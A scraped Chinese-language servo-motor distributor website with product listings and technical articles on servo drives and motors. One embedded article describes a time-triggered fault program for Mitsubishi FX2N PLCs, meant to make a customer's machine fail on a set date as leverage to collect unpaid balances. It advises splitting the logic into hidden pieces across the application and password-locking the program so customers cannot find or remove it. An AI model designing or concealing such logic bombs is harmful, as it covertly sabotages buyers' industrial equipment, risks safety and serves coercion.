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華科星--電機智造筑夢者 伺服電機讓自動化生產更簡單高效
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  • 發布時間: 2018 - 07 - 11
    拓達自動化有限公司                                                                              拓達自動化有限公司(Tode Technoioies Co.,Ltd.)1980年成立于臺灣新竹市,是專業從事電子自動化控制和制造的科技公司。我們基于客戶的需求持續改善創新,力求提供全方位的自動化控制解決方案和產品來滿足當今越來越高的自動化生產要求。與世界多家知名電機公司保持著長期的技術戰略合作關系,近十年來通過產品不斷發展革新已經行銷全球50幾個國家或地區;為了能更好滿足內地客戶的各種需求和提供更加專業及時的技術服務,公司已經于2008年在浙江嘉興設立工廠并針對中國市場的發展趨勢設計最適化產品,全方位的服務中國自動化機械制造業。拓達交流伺服電機SGES系列產品性能規格拓達工廠實拍伺服電機選型遇到困擾應用領域廣泛(適用...
    通訊方式:有多種通訊方式,包括Ethercat、Canopen、Can、Modbus、Cw+Pul等;高可靠性:元器件使用壽命高達10年,為您的使用解除后顧之憂;應用功能齊全以及更加智能化的設置使之適應大范圍不同客戶的應用要求;
  • 發布時間: 2018 - 07 - 12
    額定電壓:48v;額定功率:1000w;控制方式:位置(脈沖)、速度、轉矩三種主流控制方式;通訊方式:RS232通訊控制;配置:2500線增量式編碼器;耐低溫伺服電機(支持零下40度)特點:低壓直流供電;閉環控制;調速范圍0-3000RPM;直流伺服電機廣泛用于各種場合耐低溫直流伺服在閘機的應用低溫伺服直流伺服在醫療設備中的應用低溫伺服直流伺服在機器人也普遍應用低溫伺服直流伺服用于AGV搬運耐低溫直流伺服的優勢:
    拓達TSDA系統低溫直流伺服驅動器、直流伺服電機,電壓18~80VDC;反饋單元1000線、1250線、2500線;接收600KHZ脈沖頻率;華科星電氣主營產品:富士伺服電機,東元伺服電機,禾川伺服電機, 拓達伺服電機,拓達步進電機,中大行星減速機,博世力士樂變頻器,安全光幕,傳感器,開關電源等自動化集成產品。華科星免費提供伺服電機選型與產品技術支持,提供24V/36V/48V國產直流伺服電機,低溫直流伺服驅動器,低壓伺服電機廠家銷售&終身維護,13602631692!
  • 發布時間: 2020 - 05 - 21
    拓達SGYSP伺服驅動器特點:·SGYSP主要適配1000W以上范圍的大功率伺服電機,包括增量式及絕對式編碼器。·具有高響應、高精度、高可靠性、內部抑震濾波功能。·驅動器內部可以預設多斷點對點位置,無需脈沖也能輕松實現位置控制。·獨有的負載慣量檢測功能,可以更好的估算不同環境下的慣量要求,使設備輕松調節。拓達伺服細節展示拓達伺服電機應用領域廣泛拓達伺服電機系統構成沒有控制器,不會控制器編程怎么辦?拓達工廠實拍
    SGYSP系列驅動器,拓達高性能驅動器,采用先進的制造工藝和質量管控體系使產品具有較高的穩定性,應用功能齊全以及更加智能化的設置使之適應大范圍不同客戶的應用要求。 SGYS主要適配1000W以上范圍的大功率伺服電機,包括增量式及絕對式編碼器。
  • 發布時間: 2020 - 05 - 21
    拓達SGAS伺服驅動器特點:·SGAS主要適配200W 到7.5KW范圍的大功率伺服電機,包括增量式及絕對式編碼器。·具有高響應、高精度、高可靠性、內部抑震濾波功能。·驅動器內部可以預設多斷點對點位置,無需脈沖也能輕松實現位置控制。·獨有的負載慣量檢測功能,可以更好的估算不同環境下的慣量要求,使設備輕松調節。伺服電機選型遇到困擾高性能電機,將工作效率最大化應用領域廣泛(適用于市場上所有的自動化設備)每年參加十余次展會走實力派路線20年生產制造經驗
    拓達伺服電機驅動器采用先進的制造工藝和質量管控體系; 高響應:速度環響應頻率達到800Hz,滿足更高速度響應要求場合; 高精度:17bit高分辨率編碼器對應,輕松應對各種高精度應用場合,更加精準平穩; 高可靠性:元器件使用壽命高達10年,為您的使用解除后顧之憂; 內部抑制濾波功能:
  • 發布時間: 2018 - 09 - 27
    臺灣拓達快遞分揀專用伺服滾筒,是根據快遞物流行業對物流效率越來越高的要求特別定制而成的,相對傳統的普通電機具有啟動停止速度快、定位精準、結構緊湊一體化、安裝簡單等特點,能夠極大的提升分揀效率提高單位時間的處理數量,模塊一體化的結構使安裝調試更加的方便簡單設備外觀更加簡潔美觀,并大大縮短設備組裝的時間。
    臺灣拓達快遞分揀專用伺服滾筒,是根據快遞物流行業對物流效率越來越高的要求特別定制而成的,相對傳統的普通電機具有啟動停止速度快、定位精準、結構緊湊一體化、安裝簡單等特點,能夠極大的提升分揀效率提高單位時間的處理數量,模塊一體化的結構使安裝調試更加的方便簡單設備外觀更加簡潔美觀,并大大縮短設備組裝的時間。深圳華科星電氣總代理,廠家直銷,大量現貨!
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華科星 - 定時觸發故障PLC編程程序

日期: 2019-08-20
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華科星 - 定時觸發故障PLC編程程序

PLC編程

一、定時觸發故障PLC程序(PLC為實時時鐘)
   該程序是用三菱PLC編程軟件GX Developer V7.08J(SW7D5C-GPPW)簡體中文版所編的程序,僅適用于三菱FX2N系列PLC。
   該程序是為設備制造商收取剩余款項而設的籌碼,在設備制造商老板有要求時可以使用,僅適用于信譽度不好的客戶。該程序一旦觸發,無論設備是否處于運行狀態、PLC是否處于運行狀態或通電狀態,指定時間以后將會準時出現故障。請謹慎使用!
   該程序應當嵌入應用程序之中,為避免他人識破,可以將程序分成多塊分別嵌入在應用程序的各個地方。
   為避免他人修改你的程序,應當將整個程序進行加密——設置口令,具體操作方法請參閱程序加密的相關說明。
   M490為故障觸點,應當串聯或并聯在程序多個關鍵動作回路中。
   X20為定時觸發故障復位端子,要求該端子為沒有被使用的端子(否則請更換為另一個沒有被使用的端子)。需要解除還沒有被觸發的故障或已經觸發的故障時,將該觸點和PLC的輸入COM端短接即可。如果系統當前時間還沒到故障觸發時間,一旦該端子與COM端子斷開,故障將在預定時間觸發!如果系統當前時間已經過了指定的故障觸發時間,一旦該端子與COM端子斷開,故障將立即觸發!如果需要重新指定故障觸發時間,就必須得更改指定的故障觸發時間——需要對PLC進行編程!
   該程序指定的故障觸發時間為2007年1月1日0時0分0秒,可以進行更改。
   該程序中所用到的通用繼電器M481-M499、定時器T198、存儲區D0-D5,請不要在程序的其它地方使用,否則該程序可能無法正常發揮作用。
   對于三菱其它系列PLC或其它品牌PLC,請對程序作相應更改——各存儲器請按照相應存儲區域進行更改。
   該程序并沒有修改PLC的系統時鐘,因此程序中的其它地方或和PLC通信的其它設備所調用的PLC系統時鐘反映的是正確的當前日期和時間。
   在程序動作之前,應當檢查PLC的系統時鐘是否正確反映當前日期和時間(因為PLC的默認系統時鐘可能不正確,筆者就遇到過系統時鐘快一個小時多一點的情況)。檢查方法如下:
   啟動三菱PLC編程軟件GX Developer V7.08J(SW7D5C-GPPW)簡體中文版到一個新的窗口,將電腦與PLC正確連接(具體連接方法請參閱相關說明<比如采用sc09連接電纜或等同功能電纜,加接usb轉rs232電纜(需要加安裝驅動)等等>),然后點擊“在線”——“PLC讀取”——“確認”(對于部分筆記本電腦(比如頂星品牌龍尊系列某型號的筆記本電腦),默認串口為COM2,這種情況下需要將COM口選為COM2,具體操作方法不再贅述),然后選中“軟元件內存”再點擊“確定”......待軟元件內存傳送到電腦以后,馬上檢查M8018(年)、M8017(月)、M8016(日)、M8015(時)、M8014(分)、M8013(秒)是否大概是當前正確時間(請注意,軟元件內存只是下載時的PLC內存,并不能實時反映PLC程序的當前軟元件內存數據。所以,軟元件內存數據中反映的系統時鐘比PLC當前系統時鐘要慢)。或者,采用另外一種更簡單的方法:直接PLC在線連接的下拉菜單中選擇PLC時間設置選項,然后就可以看見非實時顯示的時鐘了——這個時間是讀取瞬間的時鐘,不實時跟隨。
   如果PLC的系統時鐘不能正確反映當前日期和時間,那就需要對軟元件內存進行修改。修改方法為:1、直接PLC在線連接的下拉菜單中選擇PLC時間設置選項,然后更改時間就可以了。但該方法一次性只能更改一回時間,一旦更改后時間就實時跟隨了,無法再進行更改。如果需要再次更改,需要將該窗口關閉后重新打開,然后再進行時間的更改。 2、通過程序的相關指令(例如MOV指令寫時間對應的特殊存儲區D8013~D8018或通過TWR指令來寫時間,具體指令此處就不再贅述了)。
  通過讀出軟元件內存后修改軟元件內存再寫回去的方法是行不通的——經過多次試驗,證明了PLC在寫入軟元件內存時根本不會重寫特殊存儲區的內容,也就是說特殊存儲區沒被列入“軟元件內存”的范圍之內
二、定時觸發故障PLC程序(PLC非實時時鐘)
   該程序是用三菱PLC編程軟件GX Developer V7.08J(SW7D5C-GPPW)簡體中文版所編的程序,僅適用于三菱FX2N系列PLC。
   該程序是為設備制造商收取剩余款項而設的籌碼,在設備制造商老板有要求時可以使用,僅適用于信譽度不好的客戶。該程序一旦觸發,無論設備是否處于運行狀態、PLC是否處于運行狀態或通電狀態,一年以后(時間長短可以修改)將會準時出現故障。請謹慎使用!
   該程序應當嵌入應用程序之中,為避免他人識破,可以將程序分成多塊分別嵌入在應用程序的各個地方。
   為避免他人修改你的程序,應當將整個程序進行加密——設置口令,具體操作方法請參閱程序加密的相關說明。
   X0是定時觸發故障觸發端子,X0只要在PLC處于運行狀態下至少動作過一次就可以了。
   M490為故障觸點,應當串聯或并聯在程序多個關鍵動作回路中。
   X1為定時觸發故障復位端子,要求在通常情況下,連續動作時間不能超過30秒(時間可以修改),否則請改為另外一個輸入觸點。需要解除故障觸發功能時,讓X1保持通電30秒(時間可以修改)即可。也可以將X1改為最后一個未用的輸入觸點,需要永遠解除故障觸發功能時,將該觸點和PLC的輸入COM端短接即可。如果只是讓定時觸發故障復位端子接通超過30秒(時間可以修改)然后斷開,那么一年以后(時間長短可以修改)仍然會準時出現故障。如果希望永遠解除定時故障觸發功能,請將定時觸發故障復位端子和PLC的輸入COM端短接即可。
   該程序中所用到的通用繼電器M480-M499、保持繼電器M1023、定時器T198、存儲區D0-D5,請不要在程序的其它地方使用,否則該程序可能無法正常發揮作用。
   對于三菱其它系列PLC或其它品牌PLC,請對程序作相應更改——原保持繼電器M1023更換后仍然具有斷電保持功能,其它存儲器請按照相應存儲區域進行更改。
   該程序動作后,PLC的系統時鐘并非是實時時鐘,因此程序中的其它地方或和PLC編程/PLC程序通信的其它設備所調用的PLC系統時鐘并不能正確反映當前日期和時間。

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2018 - 10 - 25
伺服電機經過長期運行后,會發生各種故障。及時判斷故障原因,進行相應處理,是防止故障擴大,保證設備正常運行的一項重要工作。下面深入學習下伺服電機主要的故障和分析:伺服電動機啟動困難電動機起動困難,額定負載時,電動機轉速低于額定轉速較多。伺服電機斷軸1、故障原因①機械設計不合理導致徑向負載力過大;②負載端卡死或者嚴重的瞬間過載;③電機和減速機裝配時不同心。2、故障排除①核對電機樣本中可承受的最大徑向負載力,改進機械設計;②檢查負載端的運行情況,確認實際的工藝要求并加以改進;③檢查負載運行是否穩定,是否存在震動,并加以改進機械裝配精度。伺服電動機運行時響聲不正常伺服電動機空載電流不平衡伺服電機編碼器報警1、故障原因①接線錯誤;②電磁干擾;③機械振動導致的編碼器硬件損壞;④現場環境導致的污染。2、故障排除①檢查接線并排除錯誤;②檢查屏蔽是否到位,檢查布線是否合理并解決,必要時增加濾波器加以改善;③檢查機械結構,并加以改進;④檢查編碼器內部是否受到污染、腐蝕(粉塵、油污等),加強防護。3、安裝及接線標準①盡量使用原裝電纜;②分離電纜使其盡量遠離污染接線,特別是高污染接線;③盡可能始終使用內部電源;如果使用開關電源,則應使用濾波器,確保電源達到潔凈等級;④始終將公共端接地;⑤將編碼器外殼與機器結構保持絕緣并連接到電纜屏蔽層;⑥如果無法使編碼器絕緣,則可將電纜屏蔽層連接到編碼器外殼和驅動器框架上...
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2019 - 11 - 11
人工智能領域專家大衛利維曾這樣描述機器人,“最初,robot(機器人)的字面意思就是worker(工人)。它們被創造出來,像工人一樣服務于人類。”工業機器人伺服作為人類設計機器人伺服系統的初衷所在,一直以來都是高精度、高速度自動化設備的典范,是智能制造領域研究的重點。工業機器人      機器人的靈活運作離不開伺服系統,關節越多,機器人的柔性和精準度越高,而相應的,對伺服系統的要求較高。而伺服驅動器,則相當于人類執行大腦指令的神經系統,能夠對電機的調速及控制,進而實現高精度的傳動系統定位。      格力機器人專用高性能交流伺服驅動器,實現了“六軸合一”,以“一己之力”輕松驅動25公斤以下的六關節機器人,而常規的驅動器則需要六個才能實現。      以一敵六,格力伺服驅動器身軀雖小卻有著大本事:能夠以單芯片驅動多軸電機,嚴格確保各軸同步性,同時兼容EtherCAT高速總線,通訊更快速,響應更及時;采用共直流母線電壓架構,通過能量軸間循環再利用,更為高效節能,同時具備振動抑制、參數自整定、轉動慣量辨識等高級功能,兼具良好的動態性,適用于高精度、高效益設備的高性能伺服驅動。高速高精:電流環響應頻率最高可達4kHz,同時電流穩態波動小于20mA,機器人運行更快速精準;高效抑振:采用新型振動抑制技術實...
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2020 - 03 - 11
華科星納米纖維膜口罩設備信息簡化表客戶預約看機預約電話:祁經理13902954146
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2018 - 10 - 20
東元伺服      東元伺服驅動器的設計特點與設置步驟伺服驅動控制系統的設計對于伺服電機來說非常重要,因此我們在設計及設置時一定要好掌握方法。今天華科星電氣伺服電機官網就與大家分享一些東元伺服驅動器的設置與設計知識:  1、觸摸屏程序設計建立初始畫面,在畫面上分別設置按鈕開關,在開關上分別寫上,壓力+、壓力-、原點回歸、自動調節、壓力校正、伺服急停等字樣,其中繼電器的對應情況如上所寫。本系統同時還設置有手動調節功能,確保在自動調節出現問題時及時補救。  2、東元伺服驅動器的接線伺服系統的接線很簡單,只需要按照規定接入相對應的插頭即可。將三相電源線L1,L2,L3插頭接入CPN1,將伺服電機插頭接入CN2,將編碼器插頭接入CNP2,控制線插頭接入CN1。在調試程序時需要用伺服電機的專用軟件,通過RS422接口接到伺服系統的CN3上即可。  3、東元伺服驅動器的參數設定系統采用定位控制,伺服驅動器主要有兩組參數,一組為基本參數,另一組為擴展參數,根據系統要求,設定基本參數,主要有NO.0,NO.1,NO.2,NO.3,NO.4,NO.5,NO.7,NO.18,NO.19,擴展參數要根據具體情況進行設定。也可以通過伺服設置軟件SETUP221E進行參數設置。在伺服電機進行調試過程中建議先設為速度模式,進行東元伺服電機的點動測試。...
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2018 - 11 - 01
TECO東元伺服電機憑借領先的變頻技術、多年積累的工程經驗和超強的研發能力,在風電變流器和太陽能變流器等領域取得了很大的進展。此外,在電動汽車方面,變頻技術也能夠與之完美結合。   華科星電氣為臺灣最大重電廠商東元集團的東元伺服、東元電機廣東最大集成代理商。華科星電氣為臺灣東元伺服電機指定代理而且是華南總代理;為您免費提供臺灣東元伺服售前選型,售中安裝調試,售后無憂一條龍服務;東元伺服大量現貨,全國聯保。TECO東元伺服電機控制性能的優越性:1.低頻特性好。步進電機易出現低速時低頻振動現象。交流伺服電機不會出現此現象運轉非常平穩.交流伺服系統具有共振抑制功能.可涵蓋機械的剛性不足,并且系統內部具有頻率解析機能,可檢測出機械的共振點,便于系統調整。2.控制精度高。交流伺服電機的控制精度由電機軸后端的旋轉編碼器保證。例如松下全數字式交流伺服電機,對于帶17位編碼器的電機而言,驅動器每接收 伺服電機控制淺析個脈沖電機轉一圈,即其脈沖當量為9.89秒。是步距角為1.8度的步進電機的脈沖當量的1/655。3.過載能力強。步進電機不具有過載能力,為了克服慣性負載在啟動瞬間的慣性力矩.選型時需要選取額定轉矩比負載轉矩大很多的電機造成了力矩浪費的現象。而交流伺服電機具有較強的過載能力,例如松下交流伺服系統中的伺服電機的最大轉矩達到額定轉矩的三倍.可用于克服啟動瞬間的慣性力矩。4...
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2018 - 11 - 13
現代工業設備應用中在高精度應用場合隨著伺服電機技術的發展,從高扭矩密度乃至于高功率密度,使轉速的提升高過3000rpm,由于轉速的提升,使得伺服電機的功率密度大幅提升。這意謂著伺服電機是否需要搭配減速機,其決定因素主要是從應用的需求上及成本的考慮來審視。以下應用場合必須搭配行星減速機。         伺服電機應用行星減速機的場合: 1、重負荷高精度:必須對負載做移動并要求精密定位時便有此需要。一般像是航空、衛星、醫療、軍事科技、晶圓設備、機器人等自動化設備。他們的共同特征在于將負載移動所需的扭矩往往遠超過伺服電機本身的扭矩容量。而透過減速機來做伺服電機輸出扭矩的提升,便可有效解決這個問題。           2、提升扭矩:輸出扭矩提升的方式,可能采用直接增大伺服電機的輸出扭矩方式,但這種方式不但必須使用昂貴大功率的伺服電機,電機還要有更強壯的結構,扭矩的增大正比于控制電流的增大,此時采用比較大的驅動器,功率電子組件和相關機電設備規格的增大,又會使控制系統的成本大幅增加。      3、提高使用性能:據了解,負載慣量的不當匹配,是伺服控制不穩定的最大原因之一。對于大的負載慣量,可以利用減速比的平方反比來調配最佳的...
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